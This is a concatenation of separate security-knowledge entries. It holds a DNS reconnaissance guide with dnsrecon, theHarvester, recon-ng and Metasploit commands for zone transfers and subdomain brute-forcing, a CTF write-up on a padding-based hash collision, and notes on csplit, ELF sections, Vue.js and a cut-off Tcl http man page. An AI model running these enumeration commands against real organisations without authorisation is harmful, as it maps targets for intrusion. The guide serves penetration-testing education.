**Authors**: < [nixawk](https://github.com/nixawk) > ---- # How to gather dns information ? - Passive mode - DNS Enumeration - OSINT - Offensive mode - spider websites - Tools - recon-ng - dnsrecon - theHarvester ## Passive mode ### DNS Enumeration **DNS enumeration** is the process of locating all the DNS servers and their corresponding records for an organization. A company may have both internal and external DNS servers that can yield information such as usernames, computer names, and IP addresses of potential target systems. There are a lot of tools that can be used to gain information for performing DNS enumeration. The examples of tool that can be used for DNS enumeration are NSlookup, DNSstuff, American Registry for Internet Numbers (ARIN), and Whois. To enumerate DNS, you must have understanding about DNS and how it works. You must have knowledge about DNS records. The list of DNS record provides an overview of types of resource records (database records) stored in the zone files of the Domain Name System (DNS). The DNS implements a distributed, hierarchical, and redundant database for information associated with Internet domain names and addresses. In these domain servers, different record types are used for different purposes. The following list describes the common DNS record types and their use: |**DNS Record types**|methods|description| |:-----------------------|:----------|:--------------| |dns query|A|***Address record***, Returns a 32-bit IPv4 address, most commonly used to map hostnames to an IP address of the host, but it is also used for DNSBLs, storing subnet masks in RFC 1101, etc.| |dns query|CNAME|***Canonical name record***, Alias of one name to another: the DNS lookup will continue by retrying the lookup with the new name.| |dns query|AAAA|***IPv6 address record***, Returns a 128-bit IPv6 address, most commonly used to map hostnames to an IP address of the host.| |dns query|MX|***Mail exchange record***, Maps a domain name to a list of message transfer agents for that domain| |dns query|NS|***Name server record***, Delegates a DNS zone to use the given authoritative name servers| |dns query|SOA|***zone of authority record***, Specifies authoritative information about a DNS zone, including the primary name server, the email of the domain administrator, the domain serial number, and several timers relating to refreshing the zone.| |dns query|SPF|***Sender Policy Framework***, a simple email-validation system designed to detect email spoofing by providing a mechanism to allow receiving mail exchangers to check that incoming mail from a domain comes from a host authorized by that domain's administrators.| |dns query|TXT|***Text record***, Originally for arbitrary human-readable text in a DNS record.| |dns query|PTR|***Pointer record***, Pointer to a canonical name. Unlike a CNAME, DNS processing stops and just the name is returned. The most common use is for implementing reverse DNS lookups, but other uses include such things as DNS-SD.| |dns query|SRV|***Service locator***, Generalized service location record, used for newer protocols instead of creating protocol-specific records such as MX.| |dns query|NSEC|***Next Secure record***, Part of DNSSEC—used to prove a name does not exist. Uses the same format as the (obsolete) NXT record.| |dns query|AXFR|***Authoritative Zone Transfer***, Transfer entire zone file from the master name server to secondary name servers. **DNS Zone Transfer** is typically used to replicate DNS data across a number of DNS servers, or to back up DNS files. A user or server will perform a specific zone transfer request from a ―name server.‖ If the name server allows zone transfers to occur, all the DNS names and IP addresses hosted by the name server will be returned in human-readable ASCII text.| |dns query|IXFR|***Incremental Zone Transfer***, Transfer entire zone file from the master name server to secondary name servers.| |dns query|DNS Wildcard|Check if nameserver enable wildcard query, or dns faked.| |dns query|domain bruteforce|bruteforce subdomains with wordlists.| |dns query|reverse bruteforce|reverse ip for domain| |dns query|srv bruteforce|bruteforce srv records| |dns query|gtld bruteforce|bruteforce gtld records| |dns query|tld bruteforce|bruteforce tld records| ### OSINT |OSINT|Category|Description| |:----|:-------|:----------| |OSInt|Google|Spider domains from Google pages with domain:`demo.com`| |OSInt|Bing|Spider domains from Bing pages with domain:`demo.com`| |OSInt|Yahoo|Spider domains from Yahoo with domain:`demo.com`| |OSInt|Baidu|Spider domains from Baidu with domain:`demo.com`| |OSInt|Netcraft|Spider domains from netcraft searchdns pages| |OSInt|Github|Spider domain from github pages| |OSInt|Shodan|Search domains from Shodan| |OSInt|Censys|Search domains from censys| |OSInt|ZoomEye|Search domains from ZoomEye| ## Offensive mode |**offensive mode**|**methods**|**description**| |:-----------------|:----------|:--------------| |Websites|Spider default page|Scan default pages and spider domains| |Websites|Certificates|Scan domains certificates| ## Tools |**recon-ng Command**|**Description**| |:-------------------|:--------------| |use recon/domains-hosts/baidu_site|Search domains with baidu| |use recon/domains-hosts/bing_domain_api|Search domains with bing api| |use recon/domains-hosts/bing_domain_web|Search domains from bing web pages.| |use recon/domains-hosts/brute_hosts|Bruteforce subdomains| |use recon/domains-hosts/google_site_api|Search domains with google api| |use recon/domains-hosts/google_site_web|Search domains from google web pages.| |use recon/domains-hosts/netcraft|Search domains from netcraft pages.| |**dnsrecon Command**|**Description**| |:----------|:--------------| |dnsrecon -n `8.8.8.8` -d `demo.com`|Pleaes use a valid dns server in order to avoid dns fake. | |dnsrecon -d `demo.com` -t std|SOA, NS, A, AAAA, MX and SRV if AXRF on the NS servers fail.| |dnsrecon -d `demo.com` -t rvl|Reverse lookup of a given CIDR or IP range.| |dnsrecon -d `demo.com` -t brt -D `/path/to/subdomains.wd`|Brute force domains and hosts using a given dictionary.| |dnsrecon -d `demo.com` -t brt -D `/path/to/subdomains.wd` --iw|Brute force domains and hosts using a given dictionary. `Continue brute forcing a domain even if a wildcard records are discovered.`| |dnsrecon -d `demo.com` -t srv|SRV records| |dnsrecon -d `demo.com` -t axfr|Test all NS servers for a zone transfer.| |dnsrecon -d `demo.com` -t goo|Perform Google search for subdomains and hosts.| |dnsrecon -d `demo.com` -t tld|Remove the TLD of given domain and test against all TLDs registered in IANA.| |dnsrecon -d `demo.com` -t zonewalk|Perform a DNSSEC zone walk using NSEC records.| |dnsrecon -d `demo.com` --db `/path/to/results.sqlite`|Save results in a sqlite file.| |dnsrecon -d `demo.com` --xml `/path/to/results.xml`|Save results in a xml file.| |dnsrecon -d `demo.com` -c `/path/to/results.csv`|Save results in a csv file.| |dnsrecon -d `demo.com` -j `/path/to/results.json`|Save results in a json file.| |**theHarvester Command**|**Description**| |:-----------------------|:--------------| |theharvester -d `demo.com` -b all|Search google, googleCSE, bing, bingapi, pgp, linkedin,google-profiles, jigsaw, twitter, googleplus, all| |theharvester -d `demo.com` -n|Perform a DNS reverse query on all ranges discovered| |theharvester -d `demo.com` -c|Perform a DNS brute force for the domain name| |theharvester -d `demo.com` -t|Perform a DNS TLD expansion discovery| |theharvester -d `demo.com` -e `8.8.8.8`|Specfic a dns server| |theharvester -d `demo.com` -h|use SHODAN database to query discovered hosts| |**Metasploit Command**|**Description**| |:---------------------|:--------------| |msf > use auxiliary/gather/enum_dns|gather dns records information(A, AAAA, CNAME, ZoneTransfer, SRV, TLD, RVL, ...)| # Links 1. https://en.wikipedia.org/wiki/List_of_DNS_record_types 2. https://www.exploit-db.com/docs/12389.pdf 3. https://pentestlab.blog/tag/dns-enumeration/ 4. http://tools.kali.org/information-gathering/dnsrecon 5. https://github.com/nixawk/ig/
sec-knowleage
csplit === 将一个大文件分割成小的碎片文件 ## 补充说明 **csplit命令** 用于将一个大文件分割成小的碎片,并且将分割后的每个碎片保存成一个文件。碎片文件的命名类似“xx00”,“xx01”。csplit命令是split的一个变体,split只能够根据文件大小或行数来分割,但csplit能够根据文件本身特点来分割文件。 ### 语法 ```shell csplit(选项)(参数) ``` ### 选项 ```shell -b<输出格式>或--suffix-format=<输出格式>:预设的输出格式其文件名称为xx00,xx01等,用户可以通过改变<输出格式>来改变输出的文件名; -f<输出字首字符串>或--prefix=<输出字首字符串>:预设的输出字首字符串其文件名为xx00,xx01等,如果制定输出字首字符串为“hello”,则输出的文件名称会变成hello00,hello、01...... -k或--keep-files:保留文件,就算发生错误或中断执行,与不能删除已经输出保存的文件; -n<输出文件名位数>或--digits=<输出文件名位数>:预设的输出文件名位数其文件名称为xx00,xx01......如果用户指定输出文件名位数为“3”,则输出的文件名称会变成xx000,xx001等; -q或-s或--quiet或——silent:不显示指令执行过程; -z或--elide-empty-files:删除长度为0 Byte文件。 ``` ### 参数 * 文件:指定要分割的原文件; * 模式:指定要分割文件时的匹配模式。 ### 实例 示例测试文件 server.log ```shell cat server.log SERVER-1 [con] 10.10.10.1 suc [con] 10.10.10.2 fai [dis] 10.10.10.3 pen [con] 10.10.10.4 suc SERVER-2 [con] 10.10.10.5 suc [con] 10.10.10.6 fai [dis] 10.10.10.7 pen [con] 10.10.10.8 suc SERVER-3 [con] 10.10.10.9 suc [con] 10.10.10.10 fai [dis] 10.10.10.11 pen [con] 10.10.10.12 suc ``` 需要将server.log分割成server1.log、server2.log、server3.log,这些文件的内容分别取自原文件中不同的SERVER部分: ```shell [root@localhost split]# csplit server.log /SERVER/ -n2 -s {*} -f server -b "%02d.log"; rm server00.log [root@localhost split]# ls server01.log server02.log server03.log server.log ``` **命令详细说明:** ```shell /[正则表达式]/ #匹配文本样式,比如/SERVER/,从第一行到包含SERVER的匹配行。 {*} #表示根据匹配重复执行分割,直到文件尾停止,使用{整数}的形式指定分割执行的次数。 -s #静默模式,不打印其他信息。 -n #指定分割后的文件名后缀的数字个数。比如01、02、03等。 -f #指定分割后的文件名前缀。 -b #指定后缀格式。比如%02d.log,类似于C语言中的printf参数格式。 rm server00.log #是删除第一个文件,因为分割后的的第一个文件没有内容,匹配的单词就位于文件的第一行中。 ```
sec-knowleage
# Sections 节区包含目标文件中除了 ELF 头部、程序头部表、节区头部表的所有信息。节区满足以下条件 - 每个节区都有对应的节头来描述它。但是反过来,节区头部并不一定会对应着一个节区。 - 每个节区在目标文件中是连续的,但是大小可能为 0。 - 任意两个节区不能重叠,即一个字节不能同时存在于两个节区中。 - 目标文件中可能会有闲置空间(inactive space),各种头和节不一定会覆盖到目标文件中的所有字节,**闲置区域的内容未指定**。 许多在 ELF 文件中的节都是预定义的,它们包含程序和控制信息。这些节被操作系统使用,但是对于不同的操作系统,同一节区可能会有不同的类型以及属性。 可执行文件是由链接器将一些单独的目标文件以及库文件链接起来而得到的。其中,链接器会解析引用(不同文件中的子例程的引用以及数据的引用,调整对象文件中的绝对引用)并且重定位指令。加载与链接过程需要目标文件中的信息,并且会将处理后的信息存储在一些特定的节区中,比如 `.dynamic` 。 每一种操作系统都会支持一组链接模型,但这些模型都大致可以分为两种 | 类型 | 描述 | | -------- | ------------------------------------------------------------ | | 静态链接 | 静态链接的文件中所使用的库文件或者第三方库都被静态绑定了,其引用已经被解析了。 | | 动态链接 | 动态链接的文件中所使用的库文件或者第三方库只是单纯地被链接到可执行文件中。当可执行文件执行时使用到相应函数时,相应的函数地址才会被解析。 | 有一些特殊的节可以支持调试,比如说 .debug 以及 .line 节;支持程序控制的节有 .bss,.data, .data1, .rodata, .rodata1。 | 名称 | 类型 | 属性 | 含义 | | :-------- | :----------- | :------------------- | :----------------------------------------------------------- | | .comment | SHT_PROGBITS | | 包含版本控制信息。 | | .debug | SHT_PROGBITS | | 此节区包含用于符号调试的信息。 | | .dynamic | SHT_DYNAMIC | SHF_ALLOC SHF_WRITE | 此节区包含动态链接信息。SHF_WRITE 位设置与否是否被设置取决于具体的处理器。 | | .dynstr | SHT_STRTAB | SHF_ALLOC | 此节区包含用于动态链接的字符串,大多数 情况下这些字符串代表了与符号表项相关的名称。 | | .dynsym | SHT_DYNSYM | SHF_ALLOC | 此节区包含动态链接符号表。 | | .got | SHT_PROGBITS | | 此节区包含全局偏移表。 | | .line | SHT_PROGBITS | | 此节区包含符号调试的行号信息,描述了源程序与机器指令之间的对应关系,其内容是未定义的。 | | .plt | SHT_PROGBITS | | 此节区包含过程链接表(procedure linkage table)。 | | .relname | SHT_REL | | 这些节区中包含重定位信息。如果文件中包含可加载的段,段中有重定位内容,节区的属性将包含SHF_ALLOC位,否则该位置 0。传统上 name 根据重定位所适用的节区给定。例如 .text 节区的重定位节区名字将是:.rel.text 或者 .rela.text。 | | .relaname | SHT_RELA | | | | .shstrtab | SHT_STRTAB | | 此节区包含节区名称。 | 注意: - 以 “.” 开头的节区名称是系统保留的,当然应用程序也可以使用这些节区。为了避免与系统节区冲突,应用程序应该尽量使用没有前缀的节区名称。 - 目标文件格式允许定义不在上述列表中的节区,可以包含多个名字相同的节区。 - 保留给处理器体系结构的节区名称一般命名规则为:处理器体系结构名称简写+ 节区名称。其中,处理器名称应该与 e_machine 中使用的名称相同。例如 .FOO.psect 节区是 FOO 体系结构中的 psect 节区。 这里我们主要以链接视图中的分类即段类型进行介绍,同时也会加上自己的一些简单分类。
sec-knowleage
# Data > 每个 Vue 实例都会代理其 data 对象里所有的属性,相当于 React 中的 State ### data **注意**:data 必须是函数,这里的 data 只是一个特殊的原始属性 ```js var data = { a: 1 } var vm = new Vue({ data: data }) vm.a === data.a // -> true // 设置属性也会影响到原始数据 vm.a = 2 data.a // -> 2 // ... 反之亦然 data.a = 3 vm.a // -> 3 ``` 注意只有这些被代理的属性是响应的,也就是说值的任何改变都是触发视图的重新渲染。如果在实例创建之后添加新的属性到实例上,它不会触发视图更新。我们将在后面详细讨论响应系统。 除了 data 属性,Vue 实例暴露了一些有用的实例属性与方法。这些属性与方法都有前缀 `$`,以便与代理的 data 属性区分。例如: ```js var data = { a: 1 }Properties and Methods var vm = new Vue({ el: '#example', data: data }) vm.$data === data // -> true vm.$el === document.getElementById('example') // -> true // $watch 是一个实例方法 vm.$watch('a', function (newVal, oldVal) { // 这个回调将在 `vm.a` 改变后调用 }) ``` **注意**:不要在实例属性或者回调函数中使用箭头函数,因为箭头函数绑定父级上下文,所以 this 不会像预想的一样指向 Vue 实例 ```js vm.$watch('a', newVal => this.myMethod()) // this.myMethod 会是一个 undefined ``` #### 使用 data 数据写在 vue 实例里面,类型是一个 Function ```js <script> export default { name: 'comment-box', data: () => ({ comments: [ { text: 'hello git' }, { text: 'hello vuejs' } ] }) } </script> ``` ### 选项/数据 #### data - 类型: Object | Function - 限制: 组件的定义只接受 function。 - 详细: - Vue的实例的数据对象 data 我们已经用了很多了,数据绑定离不开 data 里面的数据,也是Vue的核心属性 - 它是Vue绑定数据到HTML标签的数据源泉,另外Vue框架会自动监视data里面的数据变化,自动更新数据到HTML标签上去 **注意**:因为箭头函数绑定了父级作用域的上下文,所以 this 指向不会指向 vue 实例 ```js data: () => { return { a: this.myProp }} // this.myProp 将会是 undefined ``` #### computed > 将需要运算的 data 数据放在 computed 上,然后进行渲染 - 类型: `{ [key: string]: Function | { get: Function, set: Function } }` - 详细: 计算属性将被混入到 Vue 实例中。所有 getter 和 setter 的 this 上下文自动地绑定为 Vue 实例 **小例子**: ```js export default { name: 'comment-box', data: () => ({ comments: [ { text: 'hello git' }, { text: 'hello vuejs' } ] }), computed: { reversedMessage: function () { return this.comments.slice().reverse() } } } ``` **注意**:因为箭头函数绑定了父级作用域的上下文,所以 this 指向不会指向 vue 实例 计算属性的结果会被缓存,除非依赖的响应式属性变化才会重新计算。注意,如果实例范畴之外的依赖 (比如非响应式的 not reactive) 是不会触发计算属性更新的 #### methods > 添加方法,将方法写在 methods 中 - 类型: `{ [key: string]: Function }` - 详细: methods 将被混入到 Vue 实例中。可以直接通过 VM 实例访问这些方法,或者在指令表达式中使用。方法中的 this 自动绑定为 Vue 实例 **小例子**: ```js var vm = new Vue({ data: { a: 1 }, methods: { plus: function () { this.a++ } } }) vm.plus() vm.a // 2 ``` **注意**:不应该使用箭头函数来定义 method 函数 箭头函数绑定了父级作用域的上下文,所以 this 将不会按照期望指向 Vue 实例 ### 声明式渲染 > Vue.js 的核心是一个允许采用简洁的模板语法来声明式的将数据渲染进 DOM 数据绑定最常见的形式就是使用 “Mustache” 语法(双大括号)的文本插值: ```html <template> <div class="comment-box"> {{ comment.text }} </div> </template> ``` Mustache 标签将会被替代为对应数据对象上 comment.text 属性的值。无论何时,绑定的数据对象上 comment.text 属性发生了改变,插值处的内容都会更新
sec-knowleage
## ltseorg (crypto, 4 points, 93 solves) make some (charlie)hash collisions! In this task we were given a code with function hashing strings and were asked to create a hash collision. After reading the algorithm, we quickly noticed that the padding function was non-standard and flawed: ``` def pad_msg(msg): while not (len(msg) % 16 == 0): msg+="\x00" return msg ``` This simply added `\x00` bytes until message length is divisible by 16. That means that two messages: "a" and "a\x00", although being different, create same hashes. After sending them to the server, we receive the flag.
sec-knowleage
'\" '\" Copyright (c) 1995-1997 Sun Microsystems, Inc. '\" Copyright (c) 1998-2000 by Ajuba Solutions. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH "Http" 3tcl 8.3 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME Http \- HTTP/1.0 协议客户端的实现。 .SH 总览 SYNOPSIS \fBpackage require http ?2.4?\fR .sp \fB::http::config \fI?options?\fR .sp \fB::http::geturl \fIurl ?options?\fR .sp \fB::http::formatQuery \fIlist\fR .sp \fB::http::reset \fItoken\fR .sp \fB::http::wait \fItoken\fR .sp \fB::http::status \fItoken\fR .sp \fB::http::size \fItoken\fR .sp \fB::http::code \fItoken\fR .sp \fB::http::ncode \fItoken\fR .sp \fB::http::data \fItoken\fR .sp \fB::http::error \fItoken\fR .sp \fB::http::cleanup \fItoken\fR .sp \fB::http::register \fIproto port command\fR .sp \fB::http::unregister \fIproto\fR .BE .SH 描述 DESCRIPTION .PP \fBhttp\fR包提供 HTTP/1.0 协议的客户端。这个包实现了 HTTP/1.0 的 GET、POST、和 HEAD 操作。它允许配置一个代理(proxy)主机来通过防火墙。这个包与 \fBSafesock\fR 安全策略相容,所以可以被不可信任的 applets 用来从一些受限制的主机做 URL 取回(fetching)。可以扩展这个包来支持附加的 HTTP 传输协议,比如 HTTPS,通过 \fBhttp::register\fR,提供一个定制的 \fBsocket\fR 命令。 .PP \fB::http::geturl\fR 过程做一次 HTTP 事务(transaction)。它的 \fIoptions \fR (选项)确定完成 GET、POST、或 HEAD 事务中的那一个。\fB::http::geturl\fR 的返回值是这个事务的一个记号(token)。这个值也是在::http 名字空间中一个数组的名字,这个数组包含关于这个事务的信息。这个数组的元素在状态数组章节中描述。 .PP 如果指定了 \fB-command\fP 选项,则在后台做这个 HTTP 操作。\fB::http::geturl\fR 在生成一个 HTTP 请求和在事务完成时调用的回调过程(callback)之后立即返回。要使它工作,Tcl 事件循环必须是活跃的(active)。在 Tk 应用中总是真的。对于纯 Tcl 应用,调用者可以在调用 \fB::http::geturl\fR 之后使用 \fB::http::wait\fR 来启动事件循环。 .SH 命令 COMMANDS .TP \fB::http::config\fP ?\fIoptions\fR? 使用 \fB::http::config\fR 命令来设置和查询代理服务器的和端口的名字,和在 HTTP 请求中使用的用户代理(User-Agent)名字。如果未指定选项,则返回当前的配制。如果指定了一个单一的参数,则它应该是下面描述的标志之一。在这种情况下返回设置的当前值。否则,选项应该是定义配置的一系列标志和值: .RS .TP \fB\-accept\fP \fImimetypes\fP (指定)请求的接受(类型)头部(header)。缺省是 */*,这意味者接受所有类型的文档。否则你可以提供用逗号分隔的你想接收的 mime(多用途互连网邮件扩展)类型模式的一个列表。例如,"image/gif, image/jpeg, text/*"。 .TP \fB\-proxyhost\fP \fIhostname\fP 如果有代理服务器主机的话,它是代理服务器主机的名字。如果这个值是空串,则直接联系 URL 主机。 .TP \fB\-proxyport\fP \fInumber\fP 代理服务器端口。 .TP \fB\-proxyfilter\fP \fIcommand\fP 这个命令设置在 \fB::http::geturl\fR 期间的一个回调过程,用来决定是否为一个给定主机而要求一个代理服务器。在调用它的时候,向命令 \fIcommand\fR 添加的一个参数是主机名字。如果要求一个代理服务器,则这个回调过程应该返回一个有两个元素的数组,分别是代理服务器和代理服务端口。否则这个过滤器应该返回一个空列表。在 \fB\-proxyhost\fR 和 \fB\-proxyport\fR 设置非空的时候,缺省的过滤器返回它们的值。 .TP \fB\-useragent\fP \fIstring\fP 在 HTTP 请求中客户代理头部的值。缺省是 \fB"Tcl http client package 2.2."\fR .RE .TP \fB::http::geturl\fP \fIurl\fP ?\fIoptions\fP? \fB::http::geturl\fR 命令是包中的主过程。\fB\-query\fR 选项导致一个 POST 操作,而 \fB\-validate\fR 选项导致一个 HEAD 操作;否则,进行一个 GET 操作。\fB::http::geturl\fR 命令返回一个 \fItoken\fR (记号)值,可用它来获得关于这次事务的信息。详情参见状态数组和错误章节。除非用 \fB\-command\fR 选项指定在 HTTP 事务完成时调用的一个回调过程,否则 \fB::http::geturl\fR 命令在操作完成之前一直阻塞。 \fB::http::geturl\fR 接受一些选项: .RS .TP \fB\-binary\fP \fIboolean\fP Specifies whether to force interpreting the url data as binary. Normally this is auto-detected (anything not beginning with a \fBtext\fR content type or whose content encoding is \fBgzip\fR or \fBcompress\fR is considered binary data). .TP \fB\-blocksize\fP \fIsize\fP 在读 URL 时使用块大小。一次最多读 \fIsize\fR 字节。读完每一块之后,调用 \fB\-progress\fR 回调过程(如果指定着这个选项的话)。 .TP \fB\-channel\fP \fIname\fP 复制 URL 内容到叫 \fIname\fR 的通道中而不是保存在 \fBstate(body)\fR 中。 .TP \fB\-command\fP \fIcallback\fP 在这次 HTTP 事务完成之后调用 \fIcallback\fP。这个选项导致 \fB::http::geturl\fP 立即返回。\fIcallback\fP 得到一个增添的参数,它是从 \fB::http::geturl\fR 返回的 \fItoken\fR (记号)。这个记号是在状态数组章节中描述的一个数组的名字。下面是这个回调过程的一个模版: .RS .CS proc httpCallback {token} { upvar #0 $token state # Access state as a Tcl array } .CE .RE .TP \fB\-handler\fP \fIcallback\fP 在可获得 HTTP 数据的时候调用 \fIcallback\fP ;如果(这个回调)存在,则不对 HTTP 数据做其他任何事情。这个过程得到两个增添的参数: 给这些 HTTP 数据的套接口和从 \fB::http::geturl\fR 返回的 \fItoken\fR 。这个记号是在状态数组章节中描述的一个数组的名字。回调过程应返回从这个套接口中读到的字节数目。下面是这个回调过程的一个模版: .RS .CS proc httpHandlerCallback {socket token} { upvar #0 $token state # Access socket, and state as a Tcl array ... (example: set data [read $socket 1000];set nbytes [string length $data]) ... return nbytes } .CE .RE .TP \fB\-headers\fP \fIkeyvaluelist\fP 使用这个选项来给 HTTP 请求增加额外的头部。\fIkeyvaluelist\fR 参数必须是有偶数个元素的一个列表,这些元素是交替的键(key)和值。这些键变成头部的字段名字。从这些值中去除(strip)换行符,所以头部不会被中断(corrupt)。例如,如果 \fIkeyvaluelist\fR 是 \fBPragma no-cache\fR 则在 HTTP 请求中包含下列头部: .CS Pragma: no-cache .CE .TP \fB\-progress\fP \fIcallback\fP 每次从 URL 传输数据之后调用这个 \fIcallback\fR。这个调用得到三个增添的参数: 从 \fB::http::geturl\fR 得来的 \fItoken\fR,从 \fBContent-Length\fR 元(meta)数据得来的期望的内容总体大小,和迄今为止传输的字节数。期望的总体大小可以是未知的,在这种情况下向这个回调传递零。下面是这个回调过程的一个模版: .RS .CS proc httpProgress {token total current} { upvar #0 $token state } .CE .RE .TP \fB\-query\fP \fIquery\fP 这个标志导致 \fB::http::geturl\fR 去做向服务器传递 \fIquery\fR 的一次 POST 请求。这个 \fIquery\fR 必须是 x-url-encoding 编码格式的一个查询。可以使用 \fB::http::formatQuery\fR 过程来做格式化。 .TP \fB\-queryblocksize\fP \fIsize\fP 在向 URL 传送(post)查询数据的时候使用这个块大小。一次最多写 \fIsize\fR 字节。 在每块(被传输完毕)之后,调用 \fB\-queryprogress\fR 回调过程(如果指定了这个选项的话)。 .TP \fB\-querychannel\fP \fIchannelID\fP 这个标志导致 \fB::http::geturl\fR 去做向服务器传递在 \fIchannelID\fR 中包含的数据的一次 POST 请求。除非使用了下面的 \fB\-type\fP 选项,否则在 \fIchannelID\fR 中包含的数据必须是 x-url-encoding 编码格式的一个查询。如果没有通过 \fB\-headers\fR 选项指定 Content-Length(内容长度)头部,则 \fB::http::geturl\fR 尝试确定传送的数据的大小来建立这个头部。如果不能确定这个大小,它返回一个错误。 .TP \fB\-queryprogress\fP \fIcallback\fP 在每次到 URL 的数据传输之后调用这个 \fIcallback\fR (例如,POST),并且表现(act)得与 \fB\-progress\fR 选项精确的相似(回调过程的格式相同)。 .TP \fB\-timeout\fP \fImilliseconds\fP 如果 \fImilliseconds\fR 是非零(的数),则 \fB::http::geturl\fR 设置在这个数字指定的毫秒后发生一个超时(timeout)。如果指定了 \fB::http::reset\fP 和 \fB-command\fP 回调过程,一个超时导致对它们的调用。在超时发生之后,\fB::http::status\fP 的返回值是 \fBtimeout\fP。 .TP \fB\-type\fP \fImime-type\fP 使用 \fImime-type\fR 作为 \fBContent-Type\fR (内容类型)的值,在一次 POST 操作期间,替换缺省值(\fBapplication/x-www-form-urlencoded\fR)。 .TP \fB\-validate\fP \fIboolean\fP 如果 \fIboolean\fR 是非零,则 \fB::http::geturl\fR 做一次 HTTP HEAD 请求。这个请求返回关于这个 URL 的元(meta)信息,而不返回(具体)内容。这个事务之后在 \fBstate(meta) \fR 变量中可获得这些元信息。详情参见STATE ARRAY章节。 .RE .TP \fB::http::formatQuery\fP \fIkey value\fP ?\fIkey value\fP ...? 这个过程做查询数据的 x-url 